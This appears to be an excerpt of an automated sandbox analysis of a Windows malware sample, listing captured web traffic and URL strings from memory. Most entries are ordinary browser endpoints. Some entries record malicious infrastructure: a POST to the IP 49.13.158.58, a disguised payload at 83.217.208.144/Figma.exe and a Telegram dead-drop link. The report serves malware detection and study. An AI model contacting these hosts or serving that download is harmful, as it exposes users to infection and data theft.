Source: global traffic	HTTP traffic detected: GET /b2?rn=1744042209964&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CD6EFCADE7267A82236FA0DDF1066E0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=18Cc40eed45c07d2c39702c1744042211; XID=18Cc40eed45c07d2c39702c1744042211
Source: global traffic	HTTP traffic detected: GET /crx/blobs/Ad_brx3-BuL0c-lurTuHDvLGx_3o1po6xdCJ6biVPWmOWpEAIO3qQwYr84tWN8xt3Y-b4FBELB16YJo65m5b1LlifuobAPibVoX_4l94iArbx2Gsn4X-g9109tXuJL65PgYAxlKa5UnJV70rV6RKReARs98yYD2dVaKO/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_90_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 10sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=9\|RefA=26D134C43D904DC9AD49D1234D3879D9.RefC=2025-04-07T16:10:05Z; USRLOC=; MUID=0CD6EFCADE7267A82236FA0DDF1066E0; MUIDB=0CD6EFCADE7267A82236FA0DDF1066E0; _EDGE_S=F=1&SID=2DA37FFF2982608E24286A3828326187; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=d7160352-1ff5-40b2-ade2-bb67cec56eb9; ai_session=52AZS8FSqzYqkdFi9FCg8h\|1744042209959\|1744042209959; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=9\|RefA=26D134C43D904DC9AD49D1234D3879D9.RefC=2025-04-07T16:10:05Z
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1744042209963&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=26d134c43d904dc9ad49d1234d3879d9&activityId=26d134c43d904dc9ad49d1234d3879d9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=4E2599432189459680282D863E382528&MUID=0CD6EFCADE7267A82236FA0DDF1066E0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0CD6EFCADE7267A82236FA0DDF1066E0; _EDGE_S=F=1&SID=2DA37FFF2982608E24286A3828326187; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=720&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":27,"imageId":"BB1msOZ8","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"cpt":false,"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=9\|RefA=26D134C43D904DC9AD49D1234D3879D9.RefC=2025-04-07T16:10:05Z; USRLOC=; MUID=0CD6EFCADE7267A82236FA0DDF1066E0; MUIDB=0CD6EFCADE7267A82236FA0DDF1066E0; _EDGE_S=F=1&SID=2DA37FFF2982608E24286A3828326187; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=d7160352-1ff5-40b2-ade2-bb67cec56eb9; ai_session=52AZS8FSqzYqkdFi9FCg8h\|1744042209959\|1744042209959; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=9\|RefA=26D134C43D904DC9AD49D1234D3879D9.RefC=2025-04-07T16:10:05Z

Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000003.1288509884.0000203C00314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <!--_html_template_end_-->`}const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends CrLitElement{constructor(){super(...arguments);this.url={url:""}}static get is(){return"ntp-doodle-share-dialog"}static get styles(){return getCss$2()}render(){return getHtml$2.bind(this)()}static get properties(){return{title:{type:String},url:{type:Object}}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.fire("share",channel)}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);let instance$3=null;function getCss$1(){return instance$3\|\|(instance$3=[...[getCss$4()],css`:host{--ntp-logo-height:168px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#doodle{position:relative}#shareButton{background-color:var(--color-new-tab-page-doodle-share-button-background,none);border:none;height:32px;min-width:32px;padding:0;position:absolute;width:32px;bottom:0}:host-context([dir=ltr]) #shareButton{right:-40px}:host-context([dir=rtl]) #shareButton{left:-40px}#shareButtonIcon{width:18px;height:18px;margin:7px;vertical-align:bottom;mask-image:url(chrome://new-tab-page/icons/share_unfilled.svg);background-color:var(--color-new-tab-page-doodle-share-button-i
Source: chrome.exe, 00000010.00000003.1288509884.0000203C00314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <!--_html_template_end_-->`}const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends CrLitElement{constructor(){super(...arguments);this.url={url:""}}static get is(){return"ntp-doodle-share-dialog"}static get styles(){return getCss$2()}render(){return getHtml$2.bind(this)()}static get properties(){return{title:{type:String},url:{type:Object}}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.fire("share",channel)}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);let instance$3=null;function getCss$1(){return instance$3\|\|(instance$3=[...[getCss$4()],css`:host{--ntp-logo-height:168px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#doodle{position:relative}#shareButton{background-color:var(--color-new-tab-page-doodle-share-button-background,none);border:none;height:32px;min-width:32px;padding:0;position:absolute;width:32px;bottom:0}:host-context([dir=ltr]) #shareButton{right:-40px}:host-context([dir=rtl]) #shareButton{left:-40px}#shareButtonIcon{width:18px;height:18px;margin:7px;vertical-align:bottom;mask-image:url(chrome://new-tab-page/icons/share_unfilled.svg);background-color:var(--color-new-tab-page-doodle-share-button-i
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: xKhthobNhGNvUPqyvDy.xKhthobNhGNvUPqyvDy
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogads-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----3790hv3wtjw4eu3euasrHost: 49.13.158.58Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: jPKFh06jHI.exe	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: jPKFh06jHI.exe	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0Q
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000010.00000002.1347517190.0000203C00904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=134
Source: Acids.8.dr, Wake.com.1.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Acids.8.dr, Wake.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Assumes.8.dr, Wake.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Acids.8.dr, Wake.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Assumes.8.dr, Wake.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: jPKFh06jHI.exe	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: jPKFh06jHI.exe	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl0
Source: jPKFh06jHI.exe	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: chrome.exe, 00000010.00000002.1347743567.0000203C009A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344072027.0000203C000E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.chrome.com/docs/extensions/how-to/distribute/install-extensions)
Source: chrome.exe, 00000010.00000002.1350258536.0000203C0110C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dns-tunnel-check.googlezip.net/connect
Source: chrome.exe, 00000010.00000002.1343825432.0000203C00095000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: jPKFh06jHI.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Acids.8.dr, Wake.com.1.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Acids.8.dr, Wake.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Assumes.8.dr, Acids.8.dr, Wake.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Assumes.8.dr, Wake.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: jPKFh06jHI.exe	String found in binary or memory: http://ocsps.ssl.com0
Source: jPKFh06jHI.exe	String found in binary or memory: http://ocsps.ssl.com0?
Source: chrome.exe, 00000010.00000002.1349908881.0000203C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUw
Source: Acids.8.dr, Wake.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Acids.8.dr, Wake.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: chrome.exe, 00000010.00000002.1349433562.0000203C00E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: Amcache.hve.12.dr	String found in binary or memory: http://upx.sf.net
Source: Wake.com, 0000000C.00000000.943415256.0000000000DD5000.00000002.00000001.01000000.00000008.sdmp, Convicted.8.dr, Wake.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: chromecache_453.18.dr	String found in binary or memory: http://www.broofa.com
Source: chrome.exe, 00000010.00000002.1345427213.0000203C00480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/update2/response
Source: chrome.exe, 00000010.00000002.1349464140.0000203C00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: jPKFh06jHI.exe	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: Wake.com, 0000000C.00000003.1121340256.00000000011A1000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121561633.00000000011B8000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121314835.0000000001235000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121520665.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.1
Source: Wake.com, 0000000C.00000003.1121450612.0000000001235000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.0000000003710000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121823251.0000000001256000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2167206573.00000000039C7000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2168427542.0000000003A11000.00000040.00001000.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121478187.0000000003733000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121593164.0000000003A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://49.13.158.58
Source: Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.158.58/
Source: Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.158.58/Mg
Source: Wake.com, 0000000C.00000002.2165101677.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.158.58N
Source: Wake.com, 0000000C.00000002.2166362758.0000000003710000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121823251.0000000001256000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2168427542.0000000003A11000.00000040.00001000.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121478187.0000000003733000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121593164.0000000003A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://49.13.158.58hello
Source: Wake.com, 0000000C.00000003.1121593164.0000000003A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://49.13.158.58hellohttps://t.me/lw25chmgo77lhMozilla/5.0
Source: Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://83.217.208.144/
Source: Wake.com, 0000000C.00000002.2165101677.000000000122F000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://83.217.208.144/Figma.exe
Source: Wake.com, 0000000C.00000002.2165101677.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://83.217.208.144/Figma.exeH
Source: Wake.com, 0000000C.00000002.2165101677.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://83.217.208.144/Figma.exev
Source: sriwln.12.dr	String found in binary or memory: https://ac.ecosia.org?q=
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000010.00000002.1343592643.0000203C0004C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000010.00000002.1346651878.0000203C007EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351127345.0000203C01324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1272042282.0000203C007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346504011.0000203C00798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000010.00000002.1344665943.0000203C00204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1350258536.0000203C0110C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AccountChooser
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000010.00000002.1343916285.0000203C000B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chromecache_456.18.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_456.18.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/samlredirect
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000010.00000002.1346504011.0000203C00798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
